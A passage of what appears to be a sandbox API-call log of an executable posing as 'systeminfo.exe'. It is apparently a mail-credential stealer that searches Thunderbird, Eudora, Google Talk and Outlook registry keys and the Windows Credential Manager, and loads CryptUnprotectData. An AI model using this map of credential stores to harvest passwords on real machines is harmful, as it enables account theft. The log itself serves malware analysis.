returned 0x419bd4 [0068.962] LockResource (hResData=0x419bd4) returned 0x419bd4 [0068.962] FindResourceA (hModule=0x400000, lpName=0x86, lpType=0x2) returned 0x419508 [0068.962] SizeofResource (hModule=0x400000, hResInfo=0x419508) returned 0xd8 [0068.962] LoadResource (hModule=0x400000, hResInfo=0x419508) returned 0x419cac [0068.962] LockResource (hResData=0x419cac) returned 0x419cac [0068.962] EnumResourceNamesA (hModule=0x400000, lpType=0x3, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.962] FindResourceA (hModule=0x400000, lpName=0x2, lpType=0x3) returned 0x419518 [0068.962] SizeofResource (hModule=0x400000, hResInfo=0x419518) returned 0x2e8 [0068.962] LoadResource (hModule=0x400000, hResInfo=0x419518) returned 0x419d84 [0068.962] LockResource (hResData=0x419d84) returned 0x419d84 [0068.962] FindResourceA (hModule=0x400000, lpName=0x3, lpType=0x3) returned 0x419528 [0068.962] SizeofResource (hModule=0x400000, hResInfo=0x419528) returned 0x128 [0068.962] LoadResource (hModule=0x400000, hResInfo=0x419528) returned 0x41a06c [0068.962] LockResource (hResData=0x41a06c) returned 0x41a06c [0068.962] FindResourceA (hModule=0x400000, lpName=0x4, lpType=0x3) returned 0x419538 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x419538) returned 0x128 [0068.963] LoadResource (hModule=0x400000, hResInfo=0x419538) returned 0x41a194 [0068.963] LockResource (hResData=0x41a194) returned 0x41a194 [0068.963] EnumResourceNamesA (hModule=0x400000, lpType=0x4, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.963] FindResourceA (hModule=0x400000, lpName=0x66, lpType=0x4) returned 0x419548 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x419548) returned 0x38c [0068.963] LoadResource (hModule=0x400000, hResInfo=0x419548) returned 0x41a2bc [0068.963] LockResource (hResData=0x41a2bc) returned 0x41a2bc [0068.963] FindResourceA (hModule=0x400000, lpName=0x68, lpType=0x4) returned 0x419558 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x419558) returned 0x1f2 [0068.963] LoadResource (hModule=0x400000, hResInfo=0x419558) returned 0x41a648 [0068.963] LockResource (hResData=0x41a648) returned 0x41a648 [0068.963] EnumResourceNamesA (hModule=0x400000, lpType=0x5, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.963] FindResourceA (hModule=0x400000, lpName=0x69, lpType=0x5) returned 0x419568 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x419568) returned 0xa2 [0068.963] LoadResource (hModule=0x400000, hResInfo=0x419568) returned 0x41a83c [0068.963] LockResource (hResData=0x41a83c) returned 0x41a83c [0068.963] FindResourceA (hModule=0x400000, lpName=0x6b, lpType=0x5) returned 0x419578 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x419578) returned 0x296 [0068.963] LoadResource (hModule=0x400000, hResInfo=0x419578) returned 0x41a8e0 [0068.963] LockResource (hResData=0x41a8e0) returned 0x41a8e0 [0068.963] FindResourceA (hModule=0x400000, lpName=0x6c, lpType=0x5) returned 0x419588 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x419588) returned 0x364 [0068.963] LoadResource (hModule=0x400000, hResInfo=0x419588) returned 0x41ab78 [0068.963] LockResource (hResData=0x41ab78) returned 0x41ab78 [0068.963] FindResourceA (hModule=0x400000, lpName=0x70, lpType=0x5) returned 0x419598 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x419598) returned 0xfa [0068.963] LoadResource (hModule=0x400000, hResInfo=0x419598) returned 0x41aedc [0068.963] LockResource (hResData=0x41aedc) returned 0x41aedc [0068.963] FindResourceA (hModule=0x400000, lpName=0x448, lpType=0x5) returned 0x4195a8 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x4195a8) returned 0x336 [0068.963] LoadResource (hModule=0x400000, hResInfo=0x4195a8) returned 0x41afd8 [0068.963] LockResource (hResData=0x41afd8) returned 0x41afd8 [0068.963] EnumResourceNamesA (hModule=0x400000, lpType=0x6, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.963] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x6) returned 0x4195b8 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x4195b8) returned 0x1f2 [0068.963] LoadResource (hModule=0x400000, hResInfo=0x4195b8) returned 0x41b310 [0068.963] LockResource (hResData=0x41b310) returned 0x41b310 [0068.963] FindResourceA (hModule=0x400000, lpName=0x2, lpType=0x6) returned 0x4195c8 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x4195c8) returned 0x24 [0068.963] LoadResource (hModule=0x400000, hResInfo=0x4195c8) returned 0x41b504 [0068.963] LockResource (hResData=0x41b504) returned 0x41b504 [0068.963] FindResourceA (hModule=0x400000, lpName=0x20, lpType=0x6) returned 0x4195d8 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x4195d8) returned 0x13a [0068.963] LoadResource (hModule=0x400000, hResInfo=0x4195d8) returned 0x41b528 [0068.963] LockResource (hResData=0x41b528) returned 0x41b528 [0068.963] FindResourceA (hModule=0x400000, lpName=0x21, lpType=0x6) returned 0x4195e8 [0068.963] SizeofResource (hModule=0x400000, hResInfo=0x4195e8) returned 0x3e [0068.964] LoadResource (hModule=0x400000, hResInfo=0x4195e8) returned 0x41b664 [0068.964] LockResource (hResData=0x41b664) returned 0x41b664 [0068.964] FindResourceA (hModule=0x400000, lpName=0x33, lpType=0x6) returned 0x4195f8 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x4195f8) returned 0x48 [0068.964] LoadResource (hModule=0x400000, hResInfo=0x4195f8) returned 0x41b6a4 [0068.964] LockResource (hResData=0x41b6a4) returned 0x41b6a4 [0068.964] FindResourceA (hModule=0x400000, lpName=0x39, lpType=0x6) returned 0x419608 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x419608) returned 0x134 [0068.964] LoadResource (hModule=0x400000, hResInfo=0x419608) returned 0x41b6ec [0068.964] LockResource (hResData=0x41b6ec) returned 0x41b6ec [0068.964] FindResourceA (hModule=0x400000, lpName=0x3a, lpType=0x6) returned 0x419618 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x419618) returned 0xa6 [0068.964] LoadResource (hModule=0x400000, hResInfo=0x419618) returned 0x41b820 [0068.964] LockResource (hResData=0x41b820) returned 0x41b820 [0068.964] FindResourceA (hModule=0x400000, lpName=0x3f, lpType=0x6) returned 0x419628 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x419628) returned 0x74 [0068.964] LoadResource (hModule=0x400000, hResInfo=0x419628) returned 0x41b8c8 [0068.964] LockResource (hResData=0x41b8c8) returned 0x41b8c8 [0068.964] FindResourceA (hModule=0x400000, lpName=0x40, lpType=0x6) returned 0x419638 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x419638) returned 0xaa [0068.964] LoadResource (hModule=0x400000, hResInfo=0x419638) returned 0x41b93c [0068.964] LockResource (hResData=0x41b93c) returned 0x41b93c [0068.964] FindResourceA (hModule=0x400000, lpName=0x52, lpType=0x6) returned 0x419648 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x419648) returned 0x68 [0068.964] LoadResource (hModule=0x400000, hResInfo=0x419648) returned 0x41b9e8 [0068.964] LockResource (hResData=0x41b9e8) returned 0x41b9e8 [0068.964] EnumResourceNamesA (hModule=0x400000, lpType=0x9, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.964] FindResourceA (hModule=0x400000, lpName=0x67, lpType=0x9) returned 0x419658 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x419658) returned 0x50 [0068.964] LoadResource (hModule=0x400000, hResInfo=0x419658) returned 0x41ba50 [0068.964] LockResource (hResData=0x41ba50) returned 0x41ba50 [0068.964] EnumResourceNamesA (hModule=0x400000, lpType=0xc, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.964] FindResourceA (hModule=0x400000, lpName=0x67, lpType=0xc) returned 0x419668 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x419668) returned 0x14 [0068.964] LoadResource (hModule=0x400000, hResInfo=0x419668) returned 0x41baa0 [0068.964] LockResource (hResData=0x41baa0) returned 0x41baa0 [0068.964] EnumResourceNamesA (hModule=0x400000, lpType=0xe, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.964] FindResourceA (hModule=0x400000, lpName=0x65, lpType=0xe) returned 0x419678 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x419678) returned 0x22 [0068.964] LoadResource (hModule=0x400000, hResInfo=0x419678) returned 0x41bab4 [0068.964] LockResource (hResData=0x41bab4) returned 0x41bab4 [0068.964] FindResourceA (hModule=0x400000, lpName=0x66, lpType=0xe) returned 0x419688 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x419688) returned 0x14 [0068.964] LoadResource (hModule=0x400000, hResInfo=0x419688) returned 0x41bad8 [0068.964] LockResource (hResData=0x41bad8) returned 0x41bad8 [0068.964] EnumResourceNamesA (hModule=0x400000, lpType=0x10, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.964] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x10) returned 0x419698 [0068.964] SizeofResource (hModule=0x400000, hResInfo=0x419698) returned 0x26c [0068.964] LoadResource (hModule=0x400000, hResInfo=0x419698) returned 0x41baec [0068.965] LockResource (hResData=0x41baec) returned 0x41baec [0068.965] EnumResourceNamesA (hModule=0x400000, lpType=0x18, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.965] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x18) returned 0x4196a8 [0068.965] SizeofResource (hModule=0x400000, hResInfo=0x4196a8) returned 0x16a [0068.965] LoadResource (hModule=0x400000, hResInfo=0x4196a8) returned 0x41bd58 [0068.965] LockResource (hResData=0x41bd58) returned 0x41bd58 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Name") returned 0x4 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Name") returned 0x4 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Application") returned 0xb [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Application") returned 0xb [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Email") returned 0x5 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Email") returned 0x5 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Server") returned 0x6 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Server") returned 0x6 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Server Port") returned 0xb [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Server Port") returned 0xb [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3f2, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Secured") returned 0x7 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3f2, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Secured") returned 0x7 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Type") returned 0x4 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Type") returned 0x4 [0068.965] LoadStringA (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="User") returned 0x4 [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="User") returned 0x4 [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8 [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8 [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Profile") returned 0x7 [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Profile") returned 0x7 [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3f3, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11 [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3f3, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11 [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3f4, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="SMTP Server") returned 0xb [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3f4, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="SMTP Server") returned 0xb [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3f5, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="SMTP Server Port") returned 0x10 [0068.966] LoadStringA (in: hInstance=0x400000, uID=0x3f5, lpBuffer=0x10c980, cchBufferMax=4095 | out: lpBuffer="SMTP Server Port") returned 0x10 [0068.966] GetVersionExA (in: lpVersionInformation=0x418118*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x418118*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0068.966] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x30f4ac, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1 [0068.980] strlen (_Str="Mozilla\\Profiles") returned 0x10 [0068.980] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0068.980] _mbscpy (in: param_1=0x103238, param_2=0x30f4ac | out: param_1=0x103238) returned 0x103238 [0068.980] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0068.980] _mbscat (in: param_1=0x103238, param_2=0x414078 | out: param_1=0x103238) returned 0x103238 [0068.980] _mbscat (in: param_1=0x103238, param_2=0x413488 | out: param_1=0x103238) returned 0x103238 [0068.980] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\profiles")) returned 0xffffffff [0068.980] strlen (_Str="Thunderbird\\Profiles") returned 0x14 [0068.980] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0068.980] _mbscpy (in: param_1=0x10333d, param_2=0x30f4ac | out: param_1=0x10333d) returned 0x10333d [0068.981] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0068.981] _mbscat (in: param_1=0x10333d, param_2=0x414078 | out: param_1=0x10333d) returned 0x10333d [0068.981] _mbscat (in: param_1=0x10333d, param_2=0x41349c | out: param_1=0x10333d) returned 0x10333d [0068.981] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\Profiles" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\thunderbird\\profiles")) returned 0xffffffff [0068.981] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Qualcomm\\Eudora\\CommandLine", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ed78 | out: phkResult=0x30ed78*=0x0) returned 0x2 [0068.981] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Classes\\Software\\Qualcomm\\Eudora\\CommandLine\\current", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ed78 | out: phkResult=0x30ed78*=0x0) returned 0x2 [0068.981] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Thunderbird", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f6c0 | out: phkResult=0x30f6c0*=0x0) returned 0x2 [0068.981] ExpandEnvironmentStringsA (in: lpSrc="%programfiles%\\Mozilla Thunderbird", lpDst=0x103547, nSize=0x104 | out: lpDst="C:\\Program Files (x86)\\Mozilla Thunderbird") returned 0x2b [0068.981] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Thunderbird" (normalized: "c:\\program files (x86)\\mozilla thunderbird")) returned 0xffffffff [0068.981] _strcmpi (_Str1="/stext", _Str2="/scomma") returned 1 [0068.981] _strcmpi (_Str1="/shtml", _Str2="/scomma") returned 1 [0068.981] _strcmpi (_Str1="/sverhtml", _Str2="/scomma") returned 1 [0068.981] _strcmpi (_Str1="/sxml", _Str2="/scomma") returned 1 [0068.981] _strcmpi (_Str1="/stab", _Str2="/scomma") returned 1 [0068.981] _strcmpi (_Str1="/scomma", _Str2="/scomma") returned 0 [0068.981] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x30f3a4, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0068.981] _mbscat (in: param_1=0x30f3a4, param_2=0x414450 | out: param_1=0x30f3a4) returned 0x30f3a4 [0068.981] _mbscpy (in: param_1=0x30f4b4, param_2=0x30f3a4 | out: param_1=0x30f4b4) returned 0x30f4b4 [0068.981] _mbscpy (in: param_1=0x30f5b9, param_2=0x414458 | out: param_1=0x30f5b9) returned 0x30f5b9 [0068.981] GetPrivateProfileIntA (lpAppName="General", lpKeyName="ShowGridLines", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.981] GetPrivateProfileIntA (lpAppName="General", lpKeyName="SaveFilterIndex", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.981] GetPrivateProfileIntA (lpAppName="General", lpKeyName="AddExportHeaderLine", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.981] GetPrivateProfileIntA (lpAppName="General", lpKeyName="MarkOddEvenRows", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.982] GetPrivateProfileStringA (in: lpAppName="General", lpKeyName="WinPos", lpDefault="", lpReturnedString=0x30d364, nSize=0x2000, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" | out: lpReturnedString="") returned 0x0 [0068.982] strlen (_Str="") returned 0x0 [0068.982] GetPrivateProfileStringA (in: lpAppName="General", lpKeyName="Columns", lpDefault="", lpReturnedString=0x30d354, nSize=0x2000, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg" | out: lpReturnedString="") returned 0x0 [0068.982] strlen (_Str="") returned 0x0 [0068.982] GetPrivateProfileIntA (lpAppName="General", lpKeyName="Sort", nDefault=0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.cfg") returned 0x0 [0068.982] _mbsicmp (_Str1=0x4143d4, _Str2=0x103848) returned 1 [0068.982] _mbsicmp (_Str1=0x4143d4, _Str2=0x103850) returned -1 [0068.982] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0068.982] SetCursor (hCursor=0x10007) returned 0x10007 [0068.982] LoadLibraryA (lpLibFileName="pstorec.dll") returned 0x74150000 [0069.150] GetProcAddress (hModule=0x74150000, lpProcName="PStoreCreateInstance") returned 0x7415526c [0069.150] PStoreCreateInstance () returned 0x0 [0074.175] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x758d0000 [0074.178] GetProcAddress (hModule=0x758d0000, lpProcName="CryptUnprotectData") returned 0x75905a7f [0074.178] UuidFromStringA (in: StringUuid=0x414b68, Uuid=0x30f244 | out: Uuid=0x30f244) returned 0x0 [0074.178] UuidFromStringA (in: StringUuid=0x414b90, Uuid=0x30f254 | out: Uuid=0x30f254) returned 0x0 [0074.179] UuidFromStringA (in: StringUuid=0x414b68, Uuid=0x30f244 | out: Uuid=0x30f244) returned 0x0 [0074.179] UuidFromStringA (in: StringUuid=0x414b90, Uuid=0x30f254 | out: Uuid=0x30f254) returned 0x0 [0074.179] UuidFromStringA (in: StringUuid=0x414b68, Uuid=0x30f244 | out: Uuid=0x30f244) returned 0x0 [0074.179] UuidFromStringA (in: StringUuid=0x414b90, Uuid=0x30f254 | out: Uuid=0x30f254) returned 0x0 [0074.179] UuidFromStringA (in: StringUuid=0x414b68, Uuid=0x30f244 | out: Uuid=0x30f244) returned 0x0 [0074.179] UuidFromStringA (in: StringUuid=0x414b90, Uuid=0x30f254 | out: Uuid=0x30f254) returned 0x0 [0074.179] GetComputerNameA (in: lpBuffer=0x30e454, nSize=0x30e560 | out: lpBuffer="YKYD69Q", nSize=0x30e560) returned 1 [0074.179] GetUserNameA (in: lpBuffer=0x30e354, pcbBuffer=0x30e560 | out: lpBuffer="aETAdzjz", pcbBuffer=0x30e560) returned 1 [0074.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30e454, cbMultiByte=-1, lpWideCharStr=0x30df54, cchWideChar=255 | out: lpWideCharStr="YKYD69Q") returned 8 [0074.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30e354, cbMultiByte=-1, lpWideCharStr=0x30e154, cchWideChar=255 | out: lpWideCharStr="aETAdzjz") returned 9 [0074.180] strlen (_Str="YKYD69Q") returned 0x7 [0074.180] strlen (_Str="aETAdzjz") returned 0x8 [0074.180] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Google\\Google Talk\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x30e58c | out: phkResult=0x30e58c*=0x0) returned 0x2 [0074.180] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Google\\Google Desktop\\Mailboxes", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f590 | out: phkResult=0x30f590*=0x0) returned 0x2 [0074.180] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x756e0000 [0074.180] GetProcAddress (hModule=0x756e0000, lpProcName="CredReadA") returned 0x757271c1 [0074.180] GetProcAddress (hModule=0x756e0000, lpProcName="CredFree") returned 0x756eb2ec [0074.181] GetProcAddress (hModule=0x756e0000, lpProcName="CredDeleteA") returned 0x75727941 [0074.181] GetProcAddress (hModule=0x756e0000, lpProcName="CredEnumerateA") returned 0x75727381 [0074.181] GetProcAddress (hModule=0x756e0000, lpProcName="CredEnumerateW") returned 0x75727481 [0074.181] CredEnumerateW (in: Filter=0x0, Flags=0x0, Count=0x30f200, Credential=0x30f1fc | out: Count=0x30f200, Credential=0x30f1fc) returned 0 [0074.181] FreeLibrary (hLibModule=0x756e0000) returned 1 [0074.181] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f6b4 | out: phkResult=0x30f6b4*=0x0) returned 0x2 [0074.181] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f6b4 | out: phkResult=0x30f6b4*=0x0) returned 0x2 [0074.181] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f698 | out: phkResult=0x30f698*=0x108) returned 0x0 [0074.181] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x30f58c, lpcchName=0x30f164, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f15c | out: lpName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpcchName=0x30f164, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f15c) returned 0x0 [0074.181] RegOpenKeyExA (in: hKey=0x108, lpSubKey="{31810C36-5D23-4CCE-A3B4-316DED195C38}", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f160 | out: phkResult=0x30f160*=0x10c) returned 0x0 [0074.182] RegQueryValueExA (in: hKey=0x10c, lpValueName="Username", lpReserved=0x0, lpType=0x30f140, lpData=0x1031b4, lpcbData=0x30f144*=0x7f | out: lpType=0x30f140*=0x1, lpData="Main Identity", lpcbData=0x30f144*=0xe) returned 0x0 [0074.182] RegCloseKey (hKey=0x10c) returned 0x0 [0074.182] sprintf (in: _Dest=0x30f18c, _Format="%s\\%s" | out: _Dest="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned 91 [0074.182] RegOpenKeyExA (in: hKey=0x108, lpSubKey="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f690 | out: phkResult=0x30f690*=0x0) returned 0x2 [0074.182] sprintf (in: _Dest=0x30f18c, _Format="%s\\%s" | out: _Dest="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts") returned 101 [0074.182] RegOpenKeyExA (in: hKey=0x108, lpSubKey="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f68c | out: phkResult=0x30f68c*=0x0) returned 0x2 [0074.182] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x1, lpName=0x30f58c, lpcchName=0x30f168, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f160 | out: lpName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpcchName=0x30f168, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f160) returned 0x103 [0074.182] RegCloseKey (hKey=0x108) returned 0x0 [0074.182] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f6b4 | out: phkResult=0x30f6b4*=0x0) returned 0x2 [0074.182] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f6b4 | out: phkResult=0x30f6b4*=0x0) returned 0x2 [0074.182] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f6b4 | out: phkResult=0x30f6b4*=0x108) returned 0x0 [0074.182] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x30f594, lpcchName=0x30f56c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f564 | out: lpName="Outlook", lpcchName=0x30f56c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f564) returned 0x0 [0074.182] strlen (_Str="Outlook") returned 0x7 [0074.182] RegOpenKeyExA (in: hKey=0x108, lpSubKey="Outlook", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f694 | out: phkResult=0x30f694*=0x10c) returned 0x0 [0074.182] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0x0, lpName=0x30f47c, lpcchName=0x30f454, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f44c | out: lpName="0a0d020000000000c000000000000046", lpcchName=0x30f454, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f44c) returned 0x0 [0074.182] RegOpenKeyExA (in: hKey=0x10c, lpSubKey="0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f57c | out: phkResult=0x30f57c*=0x110) returned 0x0 [0074.182] RegEnumKeyExA (in: hKey=0x110, dwIndex=0x0, lpName=0x30f364, lpcchName=0x30f338, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330 | out: lpName="", lpcchName=0x30f338, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f330) returned 0x103 [0074.182] RegCloseKey (hKey=0x110) returned 0x0 [0074.182] RegEnumKeyExA (in: hKey=0x10c, dwIndex=0x1, lpName=0x30f47c, lpcchName=0x30f45c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x30f454 | out: lpName="13dbb0c8aa05101a9bb000aa002fc45a", 